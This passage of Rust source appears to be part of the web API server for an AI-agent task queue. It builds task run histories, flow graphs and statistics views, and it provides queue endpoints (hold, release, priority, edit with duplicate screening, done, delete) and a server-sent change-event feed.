4540 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4541 )
4542 {
4543 String::new()
4544 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4545 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4546 {
4547 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4548 .to_owned()
4549 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4550 " It left a pull request open, so the task was held for a person rather than retried."
4551 .to_owned()
4552 } else if matches!(status, RunStatus::VerifiedNoop) {
4553 " Held for a person to check the claim.".to_owned()
4554 } else if last {
4555 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4556 } else {
4557 " It spent an attempt, and the task moved on to the next run.".to_owned()
4558 };
4559 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4560 TaskRunView {
4561 n,
4562 id: id.to_owned(),
4563 short,
4564 kind,
4565 status: Some(status.as_str()),
4566 readable: true,
4567 provisional,
4568 description,
4569 outcome: format!("{head}{why}"),
4570 created_at: Some(s.created_at),
4571 pr: s.pr.as_ref().map(|p| p.url.clone()),
4572 exit,
4573 attempt: exit.cost(),
4574 branch: branch.map(str::to_owned),
4575 }
4576}
4577
4578#[derive(Debug, Serialize, PartialEq)]
4580struct FlowNode {
4581 key: String,
4583 kind: &'static str,
4585 label: String,
4586 status: Option<&'static str>,
4589 status_of: &'static str,
4592 note: Option<&'static str>,
4594 run_kind: Option<&'static str>,
4595 detail: Option<String>,
4596 decided: bool,
4598 readable: bool,
4599 href: Option<String>,
4600}
4601
4602#[derive(Debug, Serialize, PartialEq)]
4603struct FlowEdge {
4604 from: String,
4605 to: String,
4606 label: String,
4607 attempt: AttemptCost,
4608}
4609
4610#[derive(Debug, Serialize, PartialEq)]
4611struct FlowView {
4612 nodes: Vec<FlowNode>,
4613 edges: Vec<FlowEdge>,
4614 attempts: usize,
4616 max_attempts: usize,
4617}
4618
4619fn task_flow(
4628 task: &Task,
4629 history: &[TaskRunView],
4630 max_attempts: usize,
4631 origin: Option<&FollowUpOrigin>,
4632) -> FlowView {
4633 let node = |key: &str, kind, label: String| FlowNode {
4634 key: key.to_owned(),
4635 kind,
4636 label,
4637 status: None,
4638 status_of: "run",
4639 note: None,
4640 run_kind: None,
4641 detail: None,
4642 decided: false,
4643 readable: true,
4644 href: None,
4645 };
4646 let mut nodes = Vec::new();
4647 let mut edges: Vec<FlowEdge> = Vec::new();
4648 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4650 let mut n = node(
4651 "chat",
4652 "chat",
4653 format!("Chat {}", crate::queue::short(&link.id)),
4654 );
4655 n.href = Some(link.href);
4656 nodes.push(n);
4657 edges.push(FlowEdge {
4658 from: "chat".to_owned(),
4659 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
4660 label: "queued from chat".to_owned(),
4661 attempt: AttemptCost::None,
4662 });
4663 }
4664 if let Some(o) = origin {
4665 let mut n = match &o.parent {
4666 Some(p) => {
4667 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
4668 n.status = Some(p.status);
4669 n.status_of = "task";
4670 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
4671 n.href = Some(p.href.clone());
4672 n
4673 }
4674 None => {
4675 let mut n = node(
4676 "origin",
4677 "followup",
4678 format!("Follow-up of run {}", o.run.short),
4679 );
4680 n.detail = Some("merged run".to_owned());
4681 n.status = o.run.status;
4682 n.href = o.run.href.clone();
4683 if o.run.href.is_none() {
4684 n.readable = false;
4685 n.note = Some("unreadable");
4686 }
4687 n
4688 }
4689 };
4690 n.decided = true;
4691 let from = n.key.clone();
4692 nodes.push(n);
4693 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
4694 let more = o.findings.len().saturating_sub(shown.len());
4695 let label = match (shown.is_empty(), more) {
4696 (true, _) => "open findings".to_owned(),
4697 (false, 0) => format!("open findings {}", shown.join(", ")),
4698 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
4699 };
4700 edges.push(FlowEdge {
4701 from,
4702 to: "start".to_owned(),
4703 label,
4704 attempt: AttemptCost::None,
4705 });
4706 }
4707 nodes.push(node("start", "start", "Task queued".to_owned()));
4708 let mut prev = "start".to_owned();
4709 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4710 for (i, h) in history.iter().enumerate() {
4711 let key = format!("run-{}", h.n);
4712 let mut n = node(&key, "run", format!("Run {}", h.short));
4713 n.run_kind = Some(h.kind);
4714 n.readable = h.readable;
4715 n.href = Some(format!("#/runs/{}", h.id));
4716 n.decided = h.readable && !h.provisional;
4717 n.detail = h
4718 .branch
4719 .as_ref()
4720 .map(|b| format!("review-only run of branch {b}"));
4721 match h.exit {
4722 RunExit::Unreadable => n.note = Some("unreadable"),
4723 RunExit::Interrupted => n.note = Some("interrupted"),
4724 _ => {
4725 n.status = h.status;
4726 if h.provisional {
4727 n.note = Some("no verdict");
4728 }
4729 }
4730 }
4731 let into = match h.kind {
4732 "review" => Some(format!(
4733 "review-only run of branch {}",
4734 h.branch.as_deref().unwrap_or("?")
4735 )),
4736 "resume" => Some("resume the same run".to_owned()),
4737 _ if i > 0 => Some("retry".to_owned()),
4738 _ => None,
4739 };
4740 let label = match (prev_exit, into) {
4741 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4742 (Some((e, st)), None) => e.edge_label(st),
4743 (None, Some(i)) => i,
4744 (None, None) => "claimed".to_owned(),
4745 };
4746 edges.push(FlowEdge {
4747 from: prev.clone(),
4748 to: key.clone(),
4749 label,
4750 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4751 });
4752 prev_exit = Some((h.exit, h.status));
4753 prev = key;
4754 nodes.push(n);
4755 }
4756 let mut end = node("end", "end", task.status.as_str().to_owned());
4757 end.status = Some(task.status.as_str());
4758 end.status_of = "task";
4759 nodes.push(end);
4760 let (label, attempt) = match prev_exit {
4761 None => (
4762 format!("no run yet \u{2192} {}", task.status.as_str()),
4763 AttemptCost::None,
4764 ),
4765 Some((e, st)) if e.explains(task.status) => (
4766 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4767 e.cost(),
4768 ),
4769 Some((e, _)) => (
4770 format!("closed by hand: task is {}", task.status.as_str()),
4771 e.cost(),
4772 ),
4773 };
4774 edges.push(FlowEdge {
4775 from: prev,
4776 to: "end".to_owned(),
4777 label,
4778 attempt,
4779 });
4780 FlowView {
4781 nodes,
4782 edges,
4783 attempts: task.attempts,
4784 max_attempts,
4785 }
4786}
4787
4788fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4791 let mut history = Vec::with_capacity(task.runs.len());
4792 let mut seen: Vec<&str> = Vec::new();
4793 let mut prior: Option<(&str, RunStatus)> = None;
4794 for (i, run_id) in task.runs.iter().enumerate() {
4795 let state = read(run_id);
4796 let resumed = seen.contains(&run_id.as_str());
4797 seen.push(run_id);
4798 history.push(task_run_view(
4799 run_id,
4800 state.as_ref(),
4801 RunSlot {
4802 n: i + 1,
4803 resumed,
4804 resumed_later: task.runs[i + 1..]
4805 .iter()
4806 .position(|r| r == run_id)
4807 .map(|off| i + off + 2),
4808 prior,
4809 last: i + 1 == task.runs.len(),
4810 },
4811 task,
4812 ));
4813 if let Some(s) = &state {
4814 prior = Some((run::short_of(run_id), s.status));
4815 }
4816 }
4817 history
4818}
4819
4820async fn task_detail(
4821 State(ui): State<Arc<Ui>>,
4822 Path(id): Path<String>,
4823) -> ApiResult<Json<TaskDetailView>> {
4824 blocking(move || {
4825 let id = resolve_task(&ui.queue, &id)?;
4826 let task = ui
4827 .queue
4828 .get(&id)
4829 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4830 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4831 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4832 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4833 let max_attempts = daemon::Opts::default().max_attempts;
4834 let origin = task.followup.as_ref().map(|fu| {
4835 followup_origin(
4836 fu,
4837 |tid| ui.queue.get(tid).ok(),
4838 |rid| read_run(&ui.runs, rid).ok(),
4839 )
4840 });
4841 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
4842 Ok(Json(TaskDetailView {
4843 max_attempts,
4844 flow,
4845 followup_origin: origin,
4846 history,
4847 runs_unreadable,
4848 attempts_note: ATTEMPTS_NOTE,
4849 task: TaskView::with_inventory(task, &inv),
4850 }))
4851 })
4852 .await
4853}
4854
4855#[derive(Debug, Serialize)]
4859struct RateView {
4860 pct: f64,
4861 denominator: usize,
4862}
4863
4864impl RateView {
4865 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4866 (denominator > 0).then(|| Self {
4867 pct: 100.0 * numerator as f64 / denominator as f64,
4868 denominator,
4869 })
4870 }
4871}
4872
4873#[derive(Debug, Serialize)]
4878struct StatsTotalsView {
4879 runs: usize,
4880 merged: usize,
4881 ready: usize,
4882 blocked: usize,
4883 failed: usize,
4884 stalled: usize,
4885 verified_noop: usize,
4886 superseded: usize,
4887 in_progress: usize,
4888 completion_rate: Option<RateView>,
4889 tallied: usize,
4890 split: usize,
4891 split_rate: Option<RateView>,
4892 deliberated: usize,
4893 minds_changed: usize,
4894 converged: usize,
4895 review_rounds: usize,
4896}
4897
4898impl From<&stats::Totals> for StatsTotalsView {
4899 fn from(t: &stats::Totals) -> Self {
4900 Self {
4901 runs: t.runs,
4902 merged: t.merged,
4903 ready: t.ready,
4904 blocked: t.blocked,
4905 failed: t.failed,
4906 stalled: t.stalled,
4907 verified_noop: t.verified_noop,
4908 superseded: t.superseded,
4909 in_progress: t.in_progress,
4910 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4911 tallied: t.tallied,
4912 split: t.split,
4913 split_rate: RateView::of(t.split, t.tallied),
4914 deliberated: t.deliberated,
4915 minds_changed: t.minds_changed,
4916 converged: t.converged,
4917 review_rounds: t.review_rounds,
4918 }
4919 }
4920}
4921
4922#[derive(Debug, Serialize)]
4924struct AgentStatsView {
4925 agent: String,
4926 entered: usize,
4927 wins: usize,
4928 empty: usize,
4929 win_rate: Option<RateView>,
4930}
4931
4932impl From<&stats::AgentStats> for AgentStatsView {
4933 fn from(a: &stats::AgentStats) -> Self {
4934 Self {
4935 agent: a.agent.clone(),
4936 entered: a.entered,
4937 wins: a.wins,
4938 empty: a.empty,
4939 win_rate: RateView::of(a.wins, a.entered),
4940 }
4941 }
4942}
4943
4944#[derive(Debug, Serialize)]
4948struct ReviewerStatsView {
4949 agent: String,
4950 rounds: usize,
4951 seated: usize,
4952 submitted: usize,
4953 adopted: usize,
4954 unique: usize,
4955 timeouts: usize,
4956 adopted_per_round: Option<f64>,
4957 precision: Option<RateView>,
4958 unique_rate: Option<RateView>,
4959 timeout_rate: Option<RateView>,
4960}
4961
4962impl From<&stats::ReviewerStats> for ReviewerStatsView {
4963 fn from(r: &stats::ReviewerStats) -> Self {
4964 Self {
4965 agent: r.agent.clone(),
4966 rounds: r.rounds,
4967 seated: r.seated,
4968 submitted: r.submitted,
4969 adopted: r.adopted,
4970 unique: r.unique,
4971 timeouts: r.timeouts,
4972 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4973 precision: RateView::of(r.adopted, r.submitted),
4974 unique_rate: RateView::of(r.unique, r.submitted),
4975 timeout_rate: RateView::of(r.timeouts, r.seated),
4976 }
4977 }
4978}
4979
4980#[derive(Debug, Serialize)]
4986struct AdvisorStatsView {
4987 agent: String,
4988 seated: usize,
4989 proposed: usize,
4990 absent: usize,
4991 faint: usize,
4992 strong: usize,
4993 reflection_rate: Option<RateView>,
4994}
4995
4996impl From<&stats::AdvisorStats> for AdvisorStatsView {
4997 fn from(a: &stats::AdvisorStats) -> Self {
4998 Self {
4999 agent: a.agent.clone(),
5000 seated: a.seated,
5001 proposed: a.proposed,
5002 absent: a.absent,
5003 faint: a.faint,
5004 strong: a.strong,
5005 reflection_rate: RateView::of(a.strong, a.proposed),
5006 }
5007 }
5008}
5009
5010#[derive(Debug, Serialize)]
5012struct E2eStatsView {
5013 rounds: usize,
5014 failures: usize,
5015 sole_detections: usize,
5016 deferred: usize,
5017 sole_rate: Option<RateView>,
5018}
5019
5020impl From<&stats::E2eStats> for E2eStatsView {
5021 fn from(e: &stats::E2eStats) -> Self {
5022 Self {
5023 rounds: e.rounds,
5024 failures: e.failures,
5025 sole_detections: e.sole_detections,
5026 deferred: e.deferred,
5027 sole_rate: RateView::of(e.sole_detections, e.failures),
5028 }
5029 }
5030}
5031
5032#[derive(Debug, Serialize)]
5040struct ReleaseBumpStatsView {
5041 merged: usize,
5042 recorded: usize,
5043 pr_opened: usize,
5044 automerge_enabled: usize,
5045 merged_directly: usize,
5046 needs_attention: usize,
5047 clean: usize,
5048 coverage_rate: Option<RateView>,
5049 automerge_rate: Option<RateView>,
5050 attention_rate: Option<RateView>,
5051}
5052
5053impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5054 fn from(b: &stats::ReleaseBumpStats) -> Self {
5055 Self {
5056 merged: b.merged,
5057 recorded: b.recorded,
5058 pr_opened: b.pr_opened,
5059 automerge_enabled: b.automerge_enabled,
5060 merged_directly: b.merged_directly,
5061 needs_attention: b.needs_attention,
5062 clean: b.clean(),
5063 coverage_rate: RateView::of(b.recorded, b.merged),
5064 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5065 attention_rate: RateView::of(b.needs_attention, b.recorded),
5066 }
5067 }
5068}
5069
5070#[derive(Debug, Serialize)]
5072struct TaskCountsView {
5073 queued: usize,
5074 running: usize,
5075 done: usize,
5076 failed: usize,
5077 held: usize,
5078 blocked: usize,
5079 parked: usize,
5080}
5081
5082impl From<crate::queue::TaskCounts> for TaskCountsView {
5083 fn from(c: crate::queue::TaskCounts) -> Self {
5084 Self {
5085 queued: c.queued,
5086 running: c.running,
5087 done: c.done,
5088 failed: c.failed,
5089 held: c.held,
5090 blocked: c.blocked,
5091 parked: c.parked,
5092 }
5093 }
5094}
5095
5096#[derive(Debug, Serialize)]
5102struct RepoSummaryView {
5103 repo: String,
5106 name: String,
5108 runs: usize,
5109 completion_rate: Option<RateView>,
5110}
5111
5112impl From<&stats::RepoStats> for RepoSummaryView {
5113 fn from(r: &stats::RepoStats) -> Self {
5114 let t = &r.stats.totals;
5115 Self {
5116 repo: r.repo.to_string_lossy().into_owned(),
5117 name: r.name.clone(),
5118 runs: t.runs,
5119 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5120 }
5121 }
5122}
5123
5124#[derive(Debug, Serialize)]
5130struct StatsView {
5131 totals: StatsTotalsView,
5132 agents: Vec<AgentStatsView>,
5134 reviewers: Vec<ReviewerStatsView>,
5136 advisors: Vec<AdvisorStatsView>,
5138 e2e: E2eStatsView,
5139 release_bumps: ReleaseBumpStatsView,
5140 queue: TaskCountsView,
5141 runs_unreadable: usize,
5151 repos: Vec<RepoSummaryView>,
5155 daily: Vec<DailyStatsView>,
5160 repo: Option<String>,
5164 retired_hidden: Vec<String>,
5168}
5169
5170#[derive(Debug, Serialize)]
5172struct DailyStatsView {
5173 date: String,
5175 runs: usize,
5176 merged: usize,
5177 ready: usize,
5178 other: usize,
5179 completion_rate: Option<RateView>,
5181}
5182
5183impl From<&stats::DayBucket> for DailyStatsView {
5184 fn from(b: &stats::DayBucket) -> Self {
5185 Self {
5186 date: b.date.to_string(),
5187 runs: b.runs,
5188 merged: b.merged,
5189 ready: b.ready,
5190 other: b.other,
5191 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5192 }
5193 }
5194}
5195
5196const STATS_DAILY_DAYS: usize = 30;
5198
5199#[derive(Debug, Default, Deserialize)]
5208#[serde(default)]
5209struct StatsQuery {
5210 repo: Option<String>,
5211 all: bool,
5213}
5214
5215async fn stats_get(
5222 State(ui): State<Arc<Ui>>,
5223 Query(q): Query<StatsQuery>,
5224) -> ApiResult<Json<StatsView>> {
5225 blocking(move || {
5226 let states: Vec<RunState> = run_ids(&ui.runs)
5227 .into_iter()
5228 .filter_map(|id| read_run(&ui.runs, &id).ok())
5229 .collect();
5230 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5231 .iter()
5232 .map(RepoSummaryView::from)
5233 .collect();
5234 let mut scoped: Vec<&RunState> = states.iter().collect();
5235 let mut collected = match &q.repo {
5236 Some(repo) => {
5237 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5238 if filtered.is_empty() {
5239 return Err(ApiError::not_found(format!(
5240 "no runs recorded against repo `{repo}`"
5241 )));
5242 }
5243 scoped = filtered.clone();
5244 stats::collect_refs(filtered)
5245 }
5246 None => stats::collect(&states),
5247 };
5248 if !q.all {
5249 let repo = q
5250 .repo
5251 .as_deref()
5252 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5253 stats::retain_current_roster(&mut collected, &repo);
5254 }
5255 let daily = stats::daily(
5256 scoped,
5257 jiff::Zoned::now().date(),
5258 &jiff::tz::TimeZone::system(),
5259 STATS_DAILY_DAYS,
5260 );
5261 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5262 Ok(Json(StatsView {
5263 totals: StatsTotalsView::from(&collected.totals),
5264 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5265 reviewers: collected
5266 .reviewers
5267 .iter()
5268 .map(ReviewerStatsView::from)
5269 .collect(),
5270 advisors: collected
5271 .advisors
5272 .iter()
5273 .map(AdvisorStatsView::from)
5274 .collect(),
5275 e2e: E2eStatsView::from(&collected.e2e),
5276 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5277 queue: TaskCountsView::from(queue_counts),
5278 runs_unreadable: runs_unreadable(&ui.runs),
5279 repos,
5280 daily: daily.iter().map(DailyStatsView::from).collect(),
5281 repo: q.repo.clone(),
5282 retired_hidden: collected.retired_hidden.clone(),
5283 }))
5284 })
5285 .await
5286}
5287
5288#[derive(Debug, Default, Deserialize)]
5291#[serde(default, deny_unknown_fields)]
5292struct HoldBody {
5293 reason: Option<String>,
5294}
5295
5296async fn queue_hold(
5297 State(ui): State<Arc<Ui>>,
5298 Path(id): Path<String>,
5299 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5300) -> ApiResult<Json<TaskView>> {
5301 let body = match body {
5305 Ok(Json(body)) => body,
5306 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5307 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5308 };
5309 let reason = body.reason.filter(|r| !r.trim().is_empty());
5310 mutate(ui, id, move |t| {
5311 t.hold_manual(reason.clone());
5312 Ok(())
5313 })
5314 .await
5315}
5316
5317async fn queue_release(
5318 State(ui): State<Arc<Ui>>,
5319 Path(id): Path<String>,
5320) -> ApiResult<Json<TaskView>> {
5321 mutate(ui, id, |t| {
5322 t.release();
5323 Ok(())
5324 })
5325 .await
5326}
5327
5328#[derive(Debug, Deserialize)]
5330#[serde(deny_unknown_fields)]
5331struct PriorityBody {
5332 priority: i32,
5333}
5334
5335async fn queue_priority(
5341 State(ui): State<Arc<Ui>>,
5342 Path(id): Path<String>,
5343 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5344) -> ApiResult<Json<TaskView>> {
5345 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5346 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5347}
5348
5349#[derive(Debug, Deserialize)]
5351#[serde(deny_unknown_fields)]
5352struct EditBody {
5353 title: String,
5354 instruction: String,
5355 #[serde(default)]
5358 force: bool,
5359}
5360
5361async fn queue_edit(
5365 State(ui): State<Arc<Ui>>,
5366 Path(id): Path<String>,
5367 body: std::result::Result<Json<EditBody>, JsonRejection>,
5368) -> ApiResult<Json<TaskView>> {
5369 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5370 let mut judged: Option<(String, PathBuf)> = None;
5374 if !body.force {
5375 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5376 let (id, text) = (id.clone(), body.instruction.clone());
5377 let (seen, hits) = blocking(move || {
5378 let id = resolve_task(&queue, &id)?;
5379 let t = queue.get(&id)?;
5380 if text == t.instruction {
5381 return Ok((None, Vec::new()));
5382 }
5383 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5384 Ok((Some((t.instruction, t.repo)), hits))
5385 })
5386 .await?;
5387 if let Some((_, repo)) = &seen {
5388 let cfg = crate::config::Config::discover(repo, None)
5389 .ok()
5390 .map(|(c, _)| c);
5391 let screened =
5392 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5393 .await
5394 .map_err(|dup| {
5395 ApiError::conflict(dup.render(
5396 "Nothing was saved. If it is not a duplicate, repeat the request \
5397 with \"force\": true.",
5398 ))
5399 })?;
5400 if let crate::dupes::Screened::Unjudged(why) = screened {
5401 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5402 }
5403 }
5404 judged = seen;
5405 }
5406 let force = body.force;
5407 mutate(ui, id, move |t| {
5408 if !force && body.instruction != t.instruction {
5409 match &judged {
5410 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5411 _ => {
5412 anyhow::bail!("the task changed while it was being checked; repeat the request")
5413 }
5414 }
5415 }
5416 t.edit(body.title.clone(), body.instruction.clone())
5417 })
5418 .await
5419}
5420
5421async fn queue_done(
5429 State(ui): State<Arc<Ui>>,
5430 Path(id): Path<String>,
5431) -> ApiResult<Json<TaskView>> {
5432 let home = ui.home.clone();
5433 mutate(ui, id, move |t| {
5434 t.succeed();
5435 crate::daemon::supersede_prior_runs(t, &home);
5443 Ok(())
5444 })
5445 .await
5446}
5447
5448async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5456 blocking(move || {
5457 let id = resolve_task(&ui.queue, &id)?;
5458 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5459 ui.queue
5460 .remove(&id, in_flight, &ui.questions)
5461 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5462 Ok(StatusCode::NO_CONTENT)
5463 })
5464 .await
5465}
5466
5467async fn mutate(
5476 ui: Arc<Ui>,
5477 id: String,
5478 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5479) -> ApiResult<Json<TaskView>> {
5480 blocking(move || {
5481 let id = resolve_task(&ui.queue, &id)?;
5482 let _claim = ui.queue.claim(&id).map_err(|e| {
5487 ApiError::conflict(format!(
5488 "{e:#} - a daemon is running this task, so it cannot be \
5489 changed from here yet"
5490 ))
5491 })?;
5492 let mut task = ui.queue.get(&id)?;
5493 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5494 Ok(dup) => ApiError::conflict(dup.render(
5495 "Nothing was saved. If it is not a duplicate, repeat the request with \
5496 \"force\": true.",
5497 )),
5498 Err(e) => ApiError::bad_request_from(e),
5499 })?;
5500 ui.queue.put(&mut task)?;
5501 Ok(Json(TaskView::from(task)))
5502 })
5503 .await
5504}
5505
5506async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5514 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5515 tokio::spawn(async move {
5516 let mut ticker = tokio::time::interval(POLL);
5517 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5518 let mut stamps: Option<[Stamps; 3]> = None;
5519 loop {
5520 ticker.tick().await;
5523 let state = Arc::clone(&ui);
5524 let revisions = tokio::task::spawn_blocking(move || {
5525 let stamps = [
5526 store_stamps(state.queue.root(), false),
5527 store_stamps(&state.runs, true),
5528 store_stamps(state.talks.root(), false),
5529 ];
5530 let revisions = (
5531 stamps_revision(&stamps[0]),
5532 stamps_revision(&stamps[1]),
5533 state.questions.revision(),
5534 stamps_revision(&stamps[2]),
5535 state.notices.revision(),
5536 state.lock_loop().rev,
5540 );
5541 (revisions, stamps)
5542 })
5543 .await;
5544 let Ok((revisions, next_stamps)) = revisions else {
5545 break;
5546 };
5547 if last == Some(revisions) {
5548 continue;
5549 }
5550 let mut payload = serde_json::json!({
5551 "queue_rev": revisions.0,
5552 "runs_rev": revisions.1,
5553 "questions_rev": revisions.2,
5554 "talks_rev": revisions.3,
5555 "notifications_rev": revisions.4,
5556 "loop_rev": revisions.5,
5557 });
5558 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5559 for (index, (key, rev)) in [
5560 ("queue_delta", base.0),
5561 ("runs_delta", base.1),
5562 ("talks_delta", base.3),
5563 ]
5564 .into_iter()
5565 .enumerate()
5566 {
5567 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5568 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5570 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5571 }
5572 }
5573 }
5574 last = Some(revisions);
5575 stamps = Some(next_stamps);
5576 let Ok(event) = Event::default().event("change").json_data(payload) else {
5578 break;
5579 };
5580 if tx.send(event).await.is_err() {
5581 break;
5582 }
5583 }
5584 });
5585 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5586 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5587}
5588
5589type Stamps = HashMap<String, (u128, u64)>;
5590
5591fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5593 std::fs::read_dir(root)
5594 .into_iter()
5595 .flatten()
5596 .flatten()
5597 .filter_map(|entry| {
5598 let path = if runs {
5599 entry.path().join("run.json")
5600 } else {
5601 entry.path()
5602 };
5603 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5604 return None;
5605 }
5606 let metadata = path.metadata().ok()?;
5607 let modified = metadata
5608 .modified()
5609 .ok()?
5610 .duration_since(std::time::UNIX_EPOCH)
5611 .ok()?;
5612 let id = if runs {
5613 entry.file_name().to_string_lossy().into_owned()
5614 } else {
5615 path.file_stem()?.to_string_lossy().into_owned()
5616 };
5617 Some((id, (modified.as_nanos(), metadata.len())))
5618 })
5619 .collect()
5620}
5621
5622#[derive(Debug, Serialize)]
5623struct Delta {
5624 base: u64,
5625 changed: Vec<String>,
5626 removed: Vec<String>,
5627}
5628
5629fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5630 let mut changed: Vec<_> = next
5631 .iter()
5632 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5633 .map(|(id, _)| id.clone())
5634 .collect();
5635 let mut removed: Vec<_> = previous
5636 .keys()
5637 .filter(|id| !next.contains_key(*id))
5638 .cloned()
5639 .collect();
5640 changed.sort_unstable();
5641 removed.sort_unstable();
5642 Delta {
5643 base,
5644 changed,
5645 removed,
5646 }
5647}
5648
5649fn runs_revision(runs: &FsPath) -> u64 {
5656 stamps_revision(&store_stamps(runs, true))
5657}
5658
5659fn stamps_revision(stamps: &Stamps) -> u64 {
5663 use std::hash::{Hash as _, Hasher as _};
5664 if stamps.is_empty() {
5665 return 0;
5666 }
5667 let mut entries: Vec<_> = stamps.iter().collect();
5668 entries.sort_unstable();
5669 let mut hasher = std::hash::DefaultHasher::new();
5670 entries.hash(&mut hasher);
5671 hasher.finish().max(1)
5672}
5673
5674fn run_ids(runs: &FsPath) -> Vec<String> {
5680 let mut ids: Vec<String> = std::fs::read_dir(runs)
5681 .into_iter()
5682 .flatten()
5683 .flatten()
5684 .filter(|e| e.path().join("run.json").is_file())
5685 .map(|e| e.file_name().to_string_lossy().into_owned())
5686 .collect();
5687 ids.sort_unstable_by(|a, b| b.cmp(a));
5689 ids
5690}
5691
5692fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5694 let path = runs.join(id).join("run.json");
5695 let body =
5696 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5697 let state: RunState =
5698 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5699 run::migrate_schema(state)
5704}
5705
5706#[must_use]
5714pub fn runs_unreadable(runs: &FsPath) -> usize {
5715 run_ids(runs)
5716 .into_iter()
5717 .filter(|id| read_run(runs, id).is_err())
5718 .count()
5719}
5720
5721fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5723 if runs.join(id).join("run.json").is_file() {
5724 return Ok(id.to_owned());
5725 }
5726 pick(run_ids(runs), id, "run")
5727}
5728
5729fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5731 if queue.path_of(id).is_file() {
5732 return Ok(id.to_owned());
5733 }
5734 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5735}
5736
5737#[derive(Debug, Serialize)]
5748struct QuestionView {
5749 #[serde(flatten)]
5750 question: Question,
5751 detail_md: Vec<md::Node>,
5752 thread_bodies_md: Vec<Vec<md::Node>>,
5754 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5757 waiting_on_agent: bool,
5767 holder: Option<&'static str>,
5771 deputies_enabled: bool,
5775 run_is_task: bool,
5778 origin_chat: Option<String>,
5783 origin_chat_closed: bool,
5785}
5786
5787impl QuestionView {
5788 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5792 let base = md::ImageBase::QuestionPanel {
5793 id: question.id.clone(),
5794 };
5795 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5796 Self {
5797 detail_md: md::to_nodes(&question.detail, &base),
5798 thread_bodies_md: question
5799 .thread
5800 .iter()
5801 .map(|t| md::to_nodes(&t.body, &base))
5802 .collect(),
5803 thread_notes_md: question
5804 .thread
5805 .iter()
5806 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5807 .collect(),
5808 waiting_on_agent: question.waiting_on_agent(),
5809 holder,
